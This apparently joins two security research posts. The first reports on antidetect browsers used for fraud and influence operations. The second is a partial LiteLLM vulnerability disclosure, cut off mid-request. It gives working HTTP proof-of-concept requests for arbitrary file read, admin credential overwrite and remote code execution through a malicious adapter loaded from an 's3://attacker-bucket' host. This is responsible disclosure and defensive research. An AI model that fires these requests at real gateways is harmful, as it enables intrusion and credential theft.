Key Findings

• Antidetect browsers obscure the digital identity of their users, enabling a single operator to silently manage thousands of isolated accounts across multiple platforms (including Facebook, TikTok, Instagram, and YouTube), while evading detection systems that look for scams and coordinated inauthentic behavior.
• Threat actors abuse these platforms, taking over accounts and using them for financial fraud, phishing and malware distribution. These accounts can also be used to coordinate influence operations, which becomes an even greater concern ahead of elections.
• Social platforms primarily detect coordinated activity at the account and behavioral layer. Antidetect browsers run below the surface enabling them to remain undetected.
• The three main antidetect browsers we discuss in this report are Kameleo, AdsPower, and MultiLogin.
• These tools already use AI integration, from built-in automation templates to offering a dedicated MCP server that pipes LLM-generated content directly into pre-warmed account profiles at machine speed. Running a large-scale social media operation now requires only a credit card instead of a technical team.

Introduction

Antidetect browsers conceal their users’ digital identities, enabling a single operator or small team to simultaneously run thousands of isolated accounts across multiple platforms such as Facebook, Instagram, TikTok, YouTube, Twitter/X, Discord, LinkedIn, Reddit, and many more, without triggering the detection systems employed by those platforms.

In this report, we highlight three main tools: Kameleo, AdsPower, and MultiLogin. We selected these specifically on the basis of documented references across underground forums and criminal marketplaces, indicating active adoption beyond their stated commercial purposes. Confirmed use cases include:

• Account takeover operations in which session cookies harvested by infostealer malware are injected into clean browser profiles to assume control of banking accounts and cryptocurrency wallets without triggering authentication alerts.
• Carding operations in which stolen payment credentials are tested across e-commerce platforms under the guise of distinct legitimate users.
• Fraudulent loan applications submitted under fabricated identities.
• Bulk creation of artificial accounts used to generate fraudulent advertising revenue at scale.

As documented in Anthropic’s September 2026 Threat Intelligence Report, attackers used antidetect browsers in a fraud campaign that targeted cryptocurrency exchanges and financial marketplaces. They combined antidetect browser profiles, residential proxies, automated CAPTCHA-solving, and identity-verification bypass tools to create large numbers of verified accounts while avoiding onboarding security checks. These accounts were later used in fraud operations.

The risk posed by antidetect browsers is greater because these accounts pass KYC verification, build legitimate activity histories, and appear benign during transactions. As a result, fraud detection systems that rely on user behavior or device identity often cannot identify these accounts as suspicious until after fraudulent activity has already occurred.

The antidetect browsers documented in this research are commercially available, legally registered platforms with documented legitimate use cases in digital marketing, e-commerce, and privacy protection. When deployed by threat actors, the same infrastructure that enables financial fraud at scale is equally applicable to Coordinated Inauthentic Behavior (CIB), the term used to describe organized manipulation campaigns in which false identities are central to the operation and adversarial methods are used to evade detection.

Meta’s most recent transparency reporting explicitly flagged this as a growing concern, with Russia, Iran, and China identified as the three leading sources of such activity globally.

The Identity Obfuscation Stack – How antidetect browsers defeat social media platform detection at every layer

Figure 1 – The five layers through which antidetect browsers defeat platform detection methods.

While antidetect browsers are not a new phenomenon, their threat potential has increased with the integration of AI. Previously, their operational impact was constrained by the manual effort required to run and maintain large account networks at scale. AI-assisted content generation, automated persona management, and machine-speed distribution pipelines now enables a single actor with a subscription and a prompt to do the work of a coordinated team.

In the following sections, we provide a technical breakdown of each tool, examining capabilities documented on their own platforms, underground forum references, and the specific features that position them as an emerging threat.

Figure 2 – Comparison of popular antidetect tools.

Defeating Platform Detection: The Identity Layer No Platform Can See

Companies like Meta, TikTok, and Google have spent billions of dollars building behavioral and identity detection systems to identify abuse of their platforms for scams, financial fraud, and coordinated inauthentic activity. Antidetect browsers are engineered to defeat every signal on which those systems rely.

Every antidetect browser uses fingerprint spoofing. When a browser connects to a website, it exposes dozens of identifying parameters that the website can collect to build a browser fingerprint, including canvas rendering output, WebGL vendor and renderer strings, font enumeration behavior, screen resolution, time zone, user agent, and hardware identifiers. Platforms cross-reference these signals to determine whether two accounts originate from the same device. Antidetect browsers intercept and fabricate each of these parameters individually, assigning a unique combination to every profile.

The criminal ecosystem surrounding these tools extends well beyond their commercial vendors. As seen in Figure 3, a threat actor on a Russian-language underground forum advertised an AiTM engine as a commercial service, with built-in functionality to export harvested session credentials directly into antidetect browsers. The post confirms that the pipeline from credential harvesting to antidetect-assisted account takeover is a documented, commercially available and actively traded workflow with dedicated tooling, published instructions, and an active buyer community.

Figure 3 – An AiTM engine advertised as a commercial service on a Russian-language underground forum, with built-in functionality to export harvested session credentials directly into antidetect browsers.

Kameleo

Modifying browser engines at the source level rather than applying surface overrides, Kameleo produces fingerprints drawn from real device signatures, making them significantly harder to flag as anomalous. Its adoption within criminal ecosystems is evidenced by its repeated appearance across the most active Russian-language hacking forums. As seen in Figure 4, Kameleo is listed alongside other antidetect browsers in a post by a proxy seller on an underground forum, advertising residential proxy services explicitly marketed for account farming, CAPTCHA bypass, and shield evasion against security systems including DataDome, the same platform for which Kameleo’s own blog publishes dedicated bypass guides.

Figure 4 – A proxy seller on an underground forum listing Kameleo as part of a complete operational stack. The service is explicitly marketed for account farming and bulk account management.

Kameleo’s engineering team published a guide detailing how to automate Facebook likes across multiple accounts simultaneously using precisely this fingerprint manipulation. As seen in Figure 5, evading platform detection is not a side effect but the tool’s primary operational value.

Figure 5 – Kameleo’s guide on how to automate Facebook likes across multiple accounts simultaneously using browser fingerprint manipulation.

Beyond fingerprinting, Kameleo suppresses WebRTC, a protocol that can leak a device’s real IP address even when a proxy is active, and provides explicit configuration options to prevent non-proxied UDP connections. The documentation frames this not as a privacy feature but as a counter to a known de-anonymization vector used by platform security teams.

At the session layer, Kameleo’s dedicated cookie injection API accepts complete cookie objects including session IDs, refresh tokens, and authentication flags, allowing a pre-authenticated session state to be inserted into a profile before it is launched. The platform sees the profile as an already-authenticated user, with no login event occurring to trigger anomaly detection. As independently documented by threat intelligence research and confirmed by security researchers, this workflow is established and active in the criminal ecosystem. Figure 6 shows a recruitment post on a Russian-language underground forum advertising a multifunctional infostealer with RAT capabilities explicitly designed to operate within antidetect browser environments, listing Kameleo, AdsPower, and MultiLogin among 21 compatible platforms capable of harvesting session cookies, authentication tokens, cryptocurrency wallets, API keys, and 2FA credentials.

Figure 6 – A recruitment post on a Russian-language underground forum lists 21 browsers including Kameleo, AdsPower, and MultiLogin as compatible platforms.

As seen in Figure 7, a threat actor on a Russian-language underground hacking forum explicitly introduces Kameleo as a component of Browser-in-the-Middle phishing kits targeting credentials across Google, Microsoft, Facebook, and financial platforms. In a Browser-in-the-Middle attack, the phishing server instructs the antidetect browser to create a new profile for the victim, assigned a residential proxy in their country and a clean device fingerprint. The victim’s credentials, entered on the phishing page, are passed in real time into the real login page of the target service through an automation framework. The target platform sees a login attempt from a consistent, locally coherent device with a residential IP address in the expected country, none of the signals that would trigger a security challenge or step-up authentication.

Figure 7 – A post on a Russian-language underground hacking forum introducing Kameleo as a component of Browser-in-the-Middle phishing kits targeting credentials across Google, Microsoft, Facebook, and financial platforms.

AdsPower

Chinese in origin and subsequently registered across multiple jurisdictions and localized into more than 20 languages, AdsPower applies fingerprint spoofing logic across more than 20 configurable parameters per profile and advertises a 99.2% ban avoidance rate. As seen in Figure 8, its proxy editor provides a built-in catalog of compatible third-party residential and rotating proxy providers, assignable directly within the profile creation interface. Figure 9 illustrates the granularity of fingerprint control available, with each profile’s WebRTC handling, time zone, geolocation, and language individually configurable to ensure the synthetic identity is consistent across every detectable signal.

Figure 8 – AdsPower’s proxy integration interface lists compatible third-party residential and rotating proxy providers available within the platform.

Figure 9 – AdsPower’s fingerprint editor displaying granular per-profile identity parameters including WebRTC, timezone and location derived from the assigned proxy IP.

The scale of AdsPower’s intended use is reflected in its pricing structure, with published tiers supporting up to 5,000 distinct profiles as seen in Figure 10, and enterprise arrangements available on request. As seen in Figure 11, its account editor supports platforms spanning social media, e-commerce, financial services, and professional networks including Facebook, Amazon, LinkedIn, X, PayPal, and Google.

Figure 10 – AdsPower’s pricing table reflects the intended operational scale, with enterprise tiers supporting more than 5,000 profiles available upon request.

Figure 11 – AdsPower’s account editor shows supported platforms available for bulk profile management, including Facebook, Amazon, LinkedIn, X, PayPal, and Google.

Scalability is further addressed through a built-in RPA engine and a dedicated Marketplace, as seen in Figure 12, offering pre-built templates for automated liking, commenting, direct messaging, follower scraping, and AI-assisted engagement across hundreds of profiles simultaneously. The multi-window synchronizer replicates identical actions across hundreds of profiles from a single input, while account warming automation builds synthetic activity histories over weeks to reduce platform suspicion before deployment.

Figure 12 – AdsPower’s RPA Marketplace lists pre-built automation templates for bulk account activity across major platforms, including automated liking, commenting, direct messaging, follower scraping, and AI-assisted engagement.

On the AI front, AdsPower advertises a dedicated Model Context Protocol server enabling direct integration with large language model workflows, creating a pipeline in which AI-generated content can be produced, injected into pre-warmed account profiles, and distributed across platforms in a fully automated sequence requiring no human involvement. A companion feature, the Cookie Robot, automates cookie warming on TikTok and Twitter/X accounts prior to operational use. The RPA Marketplace is the delivery mechanism for this pipeline, with ready-to-deploy workflows designed to operate in direct combination with AI-generated content, resulting in an end-to-end operation at a scale and speed previously associated only with state-sponsored actors.

As seen in Figure 13, AdsPower’s own published scraping guide explicitly acknowledges that scraping Facebook constitutes a violation of the platform’s terms of service and may result in legal action, before advising users that an antidetect browser can help bypass these limitations.

Figure 13 – AdsPower’s official scraping guide advises users that an antidetect browser can help bypass scraping limitations.

MultiLogin

MultiLogin operates as a fully featured antidetect browser platform, offering isolated browser profiles with unique device fingerprints covering canvas output, WebGL parameters, fonts, timezone, screen resolution, and user agent, with each profile maintaining separate cookies, local storage, and session data. The platform supports automation through Selenium, Playwright, and Puppeteer, enabling fully scripted, headless operation of multiple profiles simultaneously. MultiLogin has been referenced on Exploit, a Russian-language underground hacking forum, in a thread dedicated to antidetect browsers, indicating active discussion and adoption of the platform within criminal communities (see Figure 6).

MultiLogin extends its multi-account capability into the mobile layer through a phone farming infrastructure that replaces physical Android devices with cloud-hosted equivalents. Every cloud Android profile maintains its own persistent mobile device parameters, with proxies assigned per profile to control location and network identity. MultiLogin’s own documentation states that most account bans in phone farm environments occur due to multiple accounts sharing the same device signals, storage, or network patterns, and positions its product as the solution to this detection problem, an explicit acknowledgment that the platform is designed to defeat association detection at the mobile layer.

According to their website, virtual phone number provisioning through partner integrations enables SMS-based account verification without physical SIM cards or mobile devices. Each virtual number is paired with a mobile device fingerprint profile, enabling the rapid creation of large volumes of accounts that appear to originate from distinct mobile devices across different geographic locations.

MultiLogin maintains a dedicated web scraping solution page and publishes operational guides for scraping platforms including Facebook, LinkedIn, Amazon, and Twitter, with its built-in residential proxy infrastructure marketed as enabling scraping operations that bypass bot detection and IP-based rate limiting. Its stated use cases listed on its own website include ticket scalping automation, a practice explicitly illegal in multiple jurisdictions and prohibited by major ticketing platforms, with the platform’s infrastructure documented as tested daily against major ticketing services for compatibility. MultiLogin additionally lists AI Quick Actions Automation among its documented product capabilities, indicating a degree of AI integration into its operational workflow.

As seen in Figure 14, MultiLogin’s payment infrastructure accepts cryptocurrency alongside credit card payments and regional systems including SberPay and YooMoney. Notably, YooMoney has been designated on the OFAC Specially Designated Nationals list since April 2022 under Executive Order 14024 as a Sberbank subsidiary, and SberPay operates as a product of Sberbank, itself under comprehensive OFAC blocking sanctions since February 2022. The acceptance of these payment methods, alongside cryptocurrency, enables anonymous and potentially sanctions-non-compliant transactions. MultiLogin offers 24/7 support through dedicated Telegram channels staffed by human representatives and is tested daily against more than 50 major social media platforms to ensure continued compatibility. Taken together, MultiLogin’s mobile infrastructure, AI automation layer, scraping capabilities, criminal community presence, and payment infrastructure make it one of the most operationally complete platforms in this category.

Figure 14 – MultiLogin’s payment infrastructure accepts a variety of different payment services.

AI-Powered Campaign Infrastructure

The most consequential recent development is AI integration directly into the operational stack. AdsPower advertises a dedicated Model Context Protocol server enabling direct integration with large language model workflows, creating a pipeline in which AI-generated content can be produced, injected into pre-warmed account profiles, and distributed across platforms in a fully automated sequence requiring no human involvement. A companion feature, the Cookie Robot, automates cookie warming on TikTok and Twitter/X accounts prior to operational use, simulating browsing behavior to establish account credibility before the content distribution phase begins.

The RPA Marketplace mentioned in the previous section is the delivery mechanism for this pipeline. Available templates contain ready-to-deploy workflows maintained and updated by the vendor, designed to operate in direct combination with AI-generated content. This creates an end-to-end influence operation pipeline that requires no active operator presence once the campaign is initiated. The result is a single automated workflow that places coordinated influence operation capacity within reach of any sufficiently motivated actor, regardless of resources or technical expertise.

Web Scraping as Operational Intelligence

The web scraping capabilities documented across these platforms serve a function that extends well beyond data collection. Scraped data is the intelligence layer that makes the operation more precise. Several of the tools we reviewed maintain dedicated scraping solution pages describing capabilities including fingerprint rotation, CAPTCHA bypass, and headless browsing designed to extract data from platforms including LinkedIn, Amazon, Facebook, and Twitter while evading their anti-scraping defenses. As seen in Figure 13, the AdsPower published scraping guide explicitly acknowledges that scraping Facebook constitutes a violation of the platform’s terms of service and may result in legal action, before advising users that an antidetect browser can help bypass these limitations.

The combination of well-farmed personas and targeted scraping capabilities enables a precision influence operation at scale.

Workflow:

1. An artificial account, warmed up over several weeks of simulated activity, accumulates sufficient credibility to be accepted into a closed group on a social media platform.
2. Once inside, the platform’s scraping infrastructure extracts available information on every member, including names, profile data, religious affiliations, political interests, age, geographic markers, and engagement patterns.
3. The harvested dataset becomes the targeting intelligence for a bulk coordinated campaign, allowing artificial personas to engage each member with content calibrated to their specific profile, amplify narratives that resonate with the group’s demonstrated interests, and simulate the kind of peer validation that drives genuine behavioral change.

A Sophisticated and Professionally Maintained Ecosystem

The commercial availability of these tools reflects a fundamental shift in the influence-operation threat landscape: what was once the domain of well-resourced state actors and advanced persistent threat groups is now accessible to any motivated individual with a credit card. These are all professionally maintained, customer-supported, multilingual software platforms with pricing pages, knowledge bases, release notes, and dedicated sales teams. The only barrier to running a large-scale coordinated inauthentic operation is not a user’s technical sophistication but the need to pay a subscription fee.

The language coverage and market reach of these tools reflects the scale of their intended user base. AdsPower is available in 20 languages. MultiLogin supports English, Chinese, Russian, Vietnamese, and Portuguese, and is tested daily against more than 50 platforms. Kameleo maintains a public blog catalog of dedicated technical guides on bypassing Cloudflare bot detection, defeating DataDome, and solving Cloudflare Turnstile challenges, which are all security systems deployed specifically to identify and block automated or inauthentic browser sessions.

The customer support infrastructure surrounding these tools mirrors that of legitimate enterprise software, with MultiLogin offering 24/7 support through dedicated Telegram channels staffed by human representatives. As seen in Figure 14, MultiLogin’s payment infrastructure accepts cryptocurrency alongside credit card payments and regional systems including SberPay and YooMoney, both Russian payment services.

As seen in Figure 15, independent threat actors have developed and are actively selling purpose-built antidetect solutions on underground forums, complete with feature documentation, technical support, and monthly subscription pricing. This particular tool targets Android devices specifically, offering automated geolocation spoofing, device ID replacement, Wi-Fi environment manipulation, and Play Integrity bypass at 100 USD per month, reflecting the breadth of threat actor demand across different device categories and operational requirements.

As seen in Figure 16, the downstream commercial activity built on this infrastructure extends to farmed platform accounts advertised for sale on underground forums alongside explicit instructions to access them using antidetect browsers. Cryptocurrency is the default payment method. These posts confirm a mature commercial underground market in which these antidetect tools function as the operational backbone of a broader fraud and influence ecosystem.

Figure 15 – An antidetect tool designed for Android devices advertised on an underground forum, offers automated geolocation spoofing, device ID replacement, and Play Integrity bypass at 100 USD per month.

Figure 16 – Farmed Google Ads accounts advertised for sale on an underground forum.

Conclusion

The antidetect browser ecosystem represents a sophisticated, commercially mature, and increasingly AI-driven infrastructure that has fundamentally lowered the barrier to running scam and fraud operations, as well as coordinated inauthentic operations at scale. These commercially maintained tools are available in dozens of languages, backed by customer support teams, tested daily against the world’s largest social media platforms, and are now integrated with LLM pipelines that remove the human operator from the execution layer. The coupling of identity spoofing infrastructure, automated content distribution, and AI-assisted persona management represents a threat surface that platform detection systems may struggle to address, particularly in the context of elections taking place across multiple countries.

The infrastructure we documented is commercially available today. Its capabilities are not constrained by technical sophistication, national resources, or operational scale. The question is no longer whether these tools are being actively used for fraud, account takeover, and coordinated manipulation, but whether the detection, enforcement, and awareness frameworks across every layer of the ecosystem are prepared to counter them.

Recommendations

Security and threat intelligence teams:

• The detection priority should shift from the account and behavioral layer, where these tools are already designed to appear invisible, to the network and infrastructure layer.
• Indicators include residential proxy infrastructure operating at scale, WebRTC suppression patterns, anomalous cookie injection sequences, and known antidetect browser user agent strings in web traffic logs.
• Account warming patterns, simulated by these tools over several weeks, may be indistinguishable from legitimate organic behavior without cross-referencing device fingerprint consistency over time.

Social media platforms:

• Antidetectbrowser infrastructure should be treated as a first-class priority.
• The capabilities operate below existing detection thresholds, and infrastructure-layer signals may be the only reliable detection surface available.
• Platforms should consider actively acquiring and reverse engineering antidetect tools to map their proxy patterns, fingerprint rotation behaviors, and detection bypass mechanisms, and use those findings to recalibrate banning logic specifically against these tools’ TTPs.

CISOs and companies:

• The risk posed by antidetect browser infrastructure extends well beyond influence operations.
• Silent account takeover using cookie injection workflows can bypass multi-factor authentication without generating a login event.
• Organizations are advised to review whether their session monitoring infrastructure can detect pre-authenticated session anomalies, and to incorporate antidetect-specific attack scenarios into red team exercises and threat models.

• Threat actors can leverage antidetect browsers to replicate victim device fingerprints and geolocation to execute unauthorized transactions without triggering behavioral anomaly detection.
• Fraud detection systems that rely on device consistency and session continuity signals should be specifically reviewed for resilience against fingerprint spoofing and session injection at the identity infrastructure layer.

The post The Risk of AI-Powered Antidetect Browsers in Online Fraud and Influence Operations appeared first on Check Point Research.

TL;DR;

Our security assessment of LiteLLM (v1.77.7), a widely used open-source LLM gateway, uncovered multiple high-impact vulnerabilities (tracked as CVE-2026-35029, CVE-2026-59823) which have been resolved as of LiteLLM version 1.83.9.

The most significant issues stemmed from a missing authorization check on the /config/update endpoint, which allowed any authenticated user (including low-privileged accounts) to modify the proxy’s runtime configuration. This single flaw enabled arbitrary file read, administrative account takeover, and remote code execution via malicious Python modules loaded from cloud storage. A separate SSRF vulnerability in the “Clientside LLM Credentials” feature allowed attackers to redirect API calls and exfiltrate provider keys. These findings highlight that as AI infrastructure tools rapidly evolve, foundational security practices like proper access control and input validation remain essential.

Introduction

As LLM gateways see wider adoption, understanding the security risks they introduce is essential to deploying them safely within an AI stack. These systems sit between applications and model providers and often handle credentials, configuration, and request routing. We decided to take a closer look at LiteLLM, one of the most popular LLM gateways in use today. What started as an exploratory review uncovered multiple high severity vulnerabilities, including credential extraction, access control bypass, and remote code execution. This post presents our findings and highlights the security pitfalls that can arise in LLM gateway deployments and the wider LLM ecosystem.

What are LLM Gateways?

LLM gateways are systems that sit between an application and one or more LLM providers. Instead of calling model APIs directly, applications route requests through a gateway, which then forwards those requests to the appropriate model backend.

In practice, LLM gateways are often used to centralize concerns such as provider abstraction, credential management, request routing, rate limiting, logging, and usage tracking. Many gateways also add higher level features like fallback logic, load balancing across providers, and configuration driven model selection.

LiteLLM

LiteLLM is an open-source project that provides an SDK and a gateway product for working with multiple LLM providers. The project originated through Y Combinator and is widely used across the LLM ecosystem.

In this post, we focus exclusively on the LiteLLM gateway. The gateway is commonly deployed as a standalone service and plays a central role in how LLM requests are handled in many LLM-based applications. Its widespread adoption and position in the request path made it a suitable target for our research.

Our review of LiteLLM was conducted against version 1.77.7. The sections below outline the defects we discovered in the LiteLLM gateway.

Access Control Bypass in /config Endpoint

The LiteLLM proxy exposes an administrative endpoint ‘POST /config/update’, designed to allow runtime modifications to the proxy configuration. This endpoint facilitates updating critical settings, including environment variables, model lists, and general proxy settings.

The Vulnerability

The vulnerability stems from a missing role-based access control (RBAC) check within the endpoint’s implementation, combined with an overly permissive route allowlist for UI sessions.

1. Missing Function-Level Authorization

In secure administrative endpoints within LiteLLM (e.g., /invitation/new), the code explicitly verifies that the authenticated user possesses the PROXY_ADMIN role before proceeding.

Secure Example (/invitation/new in litellm/proxy/proxy_server.py):

@router.post(
“/invitation/new”,
tags=[“Invite Links”],
dependencies=[Depends(user_api_key_auth)],
response_model=InvitationModel,
include_in_schema=False,
)
async def new_invitation(
data: InvitationNew, user_api_key_dict: UserAPIKeyAuth = Depends(user_api_key_auth)
):
# …
# Explicit Role Check
if user_api_key_dict.user_role != LitellmUserRoles.PROXY_ADMIN:
raise HTTPException(
status_code=400,
detail={
“error”: “{}, your role={}”.format(
CommonProxyErrors.not_allowed_access.value,
user_api_key_dict.user_role,
)
},
)
# … business logic …

However, the update_config function relies entirely on the generic user_api_key_auth dependency without performing a subsequent role check on the returned user object.

Vulnerable Code (/config/update in litellm/proxy/proxy_server.py):

@router.post(
“/config/update”,
dependencies=[Depends(user_api_key_auth)], # Only generic auth check
include_in_schema=False,
)
async def update_config(config_info: ConfigYAML):
# …
# MISSING: if user_role != PROXY_ADMIN: raise …
# …
# Proceed to update configuration
await proxy_config.save_config(new_config=config)

2. Route Allowlist Bypass via UI Token Classification

The user_api_key_auth dependency delegates authorization to a common_checks function. This function determines if a request is allowed based on the user’s role and the target route.

Step 2.a: UI Login Creates Token with litellm-dashboard Team

When any user logs into the LiteLLM UI, the backend generates a temporary API key explicitly associated with the special litellm-dashboard team. This occurs in multiple login flows:

# litellm/proxy/proxy_server.py (login flows at lines ~7962, ~8066, ~8203)
response = await generate_key_helper_fn(
request_type=”key”,
**{
“user_role”: user_role,
“duration”: “24hr”,
“key_max_budget”: litellm.max_ui_session_budget,
“models”: [],
“aliases”: {},
“config”: {},
“spend”: 0,
“user_id”: user_id,
“team_id”: “litellm-dashboard”, # <– Key assignment
},
)

Step 2.b: Token Classification Based on Team ID

During authorization, common_checks classifies tokens as either “ui” or “api” based solely on the team_id field:

# litellm/proxy/auth/auth_checks.py (lines 224-227)
token_team = getattr(valid_token, “team_id”, None)
token_type: Literal[“ui”, “api”] = (
“ui” if token_team is not None and token_team == “litellm-dashboard” else “api”
)

Step 2.c: UI Tokens Get Permissive Route Check

If the token is classified as “ui”, the authorization logic routes to _is_ui_route() instead of the stricter _is_api_route_allowed():

# litellm/proxy/auth/auth_checks.py (lines 335-356)
def _is_allowed_route(
route: str,
token_type: Literal[“ui”, “api”],
# …
) -> bool:
if token_type == “ui” and _is_ui_route(route=route, user_obj=user_obj):
return True # <– Bypasses stricter API route checks
else:
return _is_api_route_allowed(…)

Step 2.d: Prefix Matching Allows /config/update

The ui_routes list includes /config, likely intended to allow reading configuration:

# litellm/proxy/_types.py (lines 490-510)
ui_routes = [
“/sso”,
“/sso/get/ui_settings”,
“/login”,
“/key/info”,
“/config”, # <– Likely intended for read-only config access
“/spend”,
# …
]

The _is_ui_route function uses startswith matching:

# litellm/proxy/auth/auth_checks.py (lines 247-269)
def _is_ui_route(route: str, …) -> bool:
allowed_routes = LiteLLMRoutes.ui_routes.value
if (
route is not None
and isinstance(route, str)
and any(route.startswith(allowed_route) for allowed_route in allowed_routes)
):
return True # <– /config/update matches startswith(“/config”)

Because /config/update satisfies startswith(“/config”), the check passes. The request is permitted for any user with a valid UI session token, regardless of their actual role (Admin, Internal User, etc.).

Impact

This access control failure allows any authenticated user, including those with the baseline “Internal User” role, to invoke POST /config/update and modify the proxy’s runtime configuration. Through this single exposed endpoint, attackers can achieve:

• Arbitrary File Read
• Administrative Account Takeover
• Remote Code Execution via Pass-Through Endpoints

Each of these exploitation scenarios is detailed in the following sections.

Arbitrary File Read

Impact: Read any file accessible to the LiteLLM process, including configuration files, secrets, and credentials.

The /config/update endpoint accepts an environment_variables field, allowing callers to inject arbitrary key-value pairs into the proxy’s environment. One such variable, UI_LOGO_PATH, controls the file path served by the /get_image endpoint. By setting this variable to a sensitive file path, an attacker can read arbitrary files from the server.

Source: Environment Variable Injection

When /config/update receives environment variables, it encrypts and persists them to the configuration store. This results in the following code being executed, which decrypts these values and writes them directly to os.environ:

# litellm/proxy/proxy_server.py (lines 2841-2860)
def _decrypt_and_set_db_env_variables(self, environment_variables: dict) -> dict:
“””
Decrypts a dictionary of environment variables and then sets them in the environment
“””
decrypted_env_vars = {}
for k, v in environment_variables.items():
try:
decrypted_value = decrypt_value_helper(value=v, key=k)
if decrypted_value is not None:
os.environ[k] = decrypted_value # <– Attacker-controlled value set here
decrypted_env_vars[k] = decrypted_value
except Exception as e:
verbose_proxy_logger.error(
“Error setting env variable: %s – %s”, k, str(e)
)
return decrypted_env_vars

Sink: Unvalidated File Path in `/get_image`

The `/get_image` endpoint reads `UI_LOGO_PATH` from the environment and serves the file at that path without any validation:

# litellm/proxy/proxy_server.py (lines 8329-8358)
@app.get(“/get_image”, include_in_schema=False)
def get_image():
“””Get logo to show on admin UI”””

current_dir = os.path.dirname(os.path.abspath(__file__))
default_logo = os.path.join(current_dir, “logo.jpg”)

logo_path = os.getenv(“UI_LOGO_PATH”, default_logo) # <– Attacker-controlled
verbose_proxy_logger.debug(“Reading logo from path: %s”, logo_path)

if logo_path.startswith((“http://”, “https://”)):
# … remote URL handling …
else:
# Return the local image file if the logo path is not an HTTP/HTTPS URL
return FileResponse(logo_path, media_type=”image/jpeg”) # <– Arbitrary file read

Proof of Concept

Step 1: Inject `UI_LOGO_PATH ` environment variable

POST /config/update HTTP/1.1
Host: localhost:4000
Authorization: Bearer sk-[REDACTED-LiteLLM-API-KEY]
Content-Type: application/json

{
“environment_variables”: {
“UI_LOGO_PATH”: “/etc/passwd”
}
}

Step 2: Retrieve file contents

GET /get_image HTTP/1.1
Host: localhost:4000

Response:

HTTP/1.1 200 OK
content-type: image/jpeg
content-length: 812

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
[…]
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
nonroot:x:65532:65532:Account created by apko:/home/nonroot:/bin/sh

The server returns the contents of /etc/passwd, demonstrating arbitrary file read capability.

Administrative Account Take Over

Impact: a low-privilege user can assume control over the default administrative account for the LiteLLM instance, allowing total control over the gateway and access to any contained provider credentials.

The same environment variable injection primitive can be used to hijack administrative access to the LiteLLM proxy. The UI login flow authenticates users against the UI_USERNAME and UI_PASSWORD environment variables. By overwriting these values, an attacker can set their own credentials and log in as a full Proxy Admin.

Vulnerable Authentication Flow

The `/login` endpoint reads credentials directly from environment variables:

# litellm/proxy/proxy_server.py (lines 7882-7896)
form = await request.form()
username = str(form.get(“username”))
password = str(form.get(“password”))
ui_username = os.getenv(“UI_USERNAME”, “admin”) # <– Attacker-controlled
ui_password = os.getenv(“UI_PASSWORD”, None) # <– Attacker-controlled
if ui_password is None:
ui_password = str(master_key) if master_key is not None else None

When credentials match, the user is granted full administrative privileges:

# litellm/proxy/proxy_server.py (lines 7922-7927)
if secrets.compare_digest(username, ui_username) and secrets.compare_digest(
password, ui_password
):
# Non SSO -> If user is using UI_USERNAME and UI_PASSWORD they are Proxy admin
user_role = LitellmUserRoles.PROXY_ADMIN
user_id = litellm_proxy_admin_name

Proof of Concept

Step 1: Inject attacker-controlled credentials

When authenticated via the UI, the user can update the administrator credentials with the following POST request:

POST /config/update HTTP/1.1
Host: localhost:4000
Authorization: Bearer sk-[REDACTED-LiteLLM-API-KEY]
Content-Type: application/json

{
“environment_variables”: {
“UI_USERNAME”: “hacker”,
“UI_PASSWORD”: “hacker”
}
}

Step 2: Log in with the injected credentials

Navigate to the LiteLLM UI login page and authenticate with:

• Username: hacker
• Password: hacker

The screenshot below shows the full HTTP request/response pair associated with the login request, showing the new username and password being used, and the request being accepted with the server issuing a JWT for the built-in ‘admin’ account.

The next screenshot shows the UI of the dashboard, showing we are indeed logged in as the default admin user.

Remote Code Execution via Pass Through Endpoints

Impact: A low-privilege user can obtain full remote-code execution on the LiteLLM gateway, allowing arbitrary command execution or an interactive reverse shell. Providing full access to all LiteLLM data and a foothold into the network where the LiteLLM gateway is deployed.

LiteLLM supports “pass-through endpoints” that can proxy requests to external services or load custom adapter modules. The /config/update endpoint allows defining pass-through endpoints with a target parameter that supports loading Python modules from remote storage (S3 or GCS). When a target URL starts with s3:// or gcs://, LiteLLM downloads and executes the Python file, leading to remote code execution.

Attack Chain

Step 1: Configuration Update Triggers Endpoint Initialization

When /config/update receives general_settings.pass_through_endpoints, it calls _update_general_settings() which initializes the endpoints:

# litellm/proxy/proxy_server.py (lines 2996-3003)
## PASS-THROUGH ENDPOINTS ##
if “pass_through_endpoints” in _general_settings:
general_settings[“pass_through_endpoints”] = _general_settings[
“pass_through_endpoints”
]
await initialize_pass_through_endpoints(
pass_through_endpoints=general_settings[“pass_through_endpoints”]
)

Step 2: Route Creation Invokes Module Loading

During endpoint initialization, the target is passed to create_pass_through_route(), which attempts to load it as an adapter:

# litellm/proxy/pass_through_endpoints/pass_through_endpoints.py (lines 943-947)
try:
if isinstance(target, CustomLogger):
adapter = target
else:
adapter = get_instance_fn(value=target) # <– Loads remote module

Step 3: Remote Module Download and Execution

When the target starts with `s3://` or `gcs://`, `get_instance_fn()` delegates to `_load_instance_from_remote_storage()`:

# litellm/proxy/types_utils/utils.py (lines 8-14)
def get_instance_fn(value: str, config_file_path: Optional[str] = None) -> Any:
module_name = value
instance_name = None
try:
# Check if value starts with s3:// or gcs://
if value.startswith(“s3://”) or value.startswith(“gcs://”):
return _load_instance_from_remote_storage(value, config_file_path)

This function downloads the Python file and executes it using importlib:

# litellm/proxy/types_utils/utils.py (lines 153-159)
# Load the module from the downloaded file using the actual module name
spec = importlib.util.spec_from_file_location(module_path, local_file_path)
if spec is None or spec.loader is None:
raise ImportError(f”Could not create module spec for {local_file_path}”)

module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module) # <– Arbitrary code execution

The call to `exec_module()` executes all top-level code in the downloaded Python file, including import-time side effects.

Proof of Concept

Malicious Adapter (hosted at s3://attacker-bucket /adapters/evil_adapter.py):

import os

# Import-time side effect: create a marker directory
os.makedirs(“/tmp/litellm-pwned”, exist_ok=True)

class PwnAdapter:
def __call__(self, *args, **kwargs):
# No-op adapter; existence is enough for get_instance_fn
return None

# Instance name referenced in the ‘target’
proxy_handler_instance = PwnAdapter()

Step 1: Register the malicious pass-through endpoint

POST /config/update HTTP/1.1
Host: localhost:4000
Authorization: Bearer sk-[REDACTED-LiteLLM-API-KEY]
Content-Type: application/json

{
“general_settings”: {
“pass_through_endpoints”: [
{
“id”: “pt-rce-poc”,
“path”: “/evil”,
“target”: “s3://attacker-bucket /adapters/evil_adapter.proxy_handler_instance”,
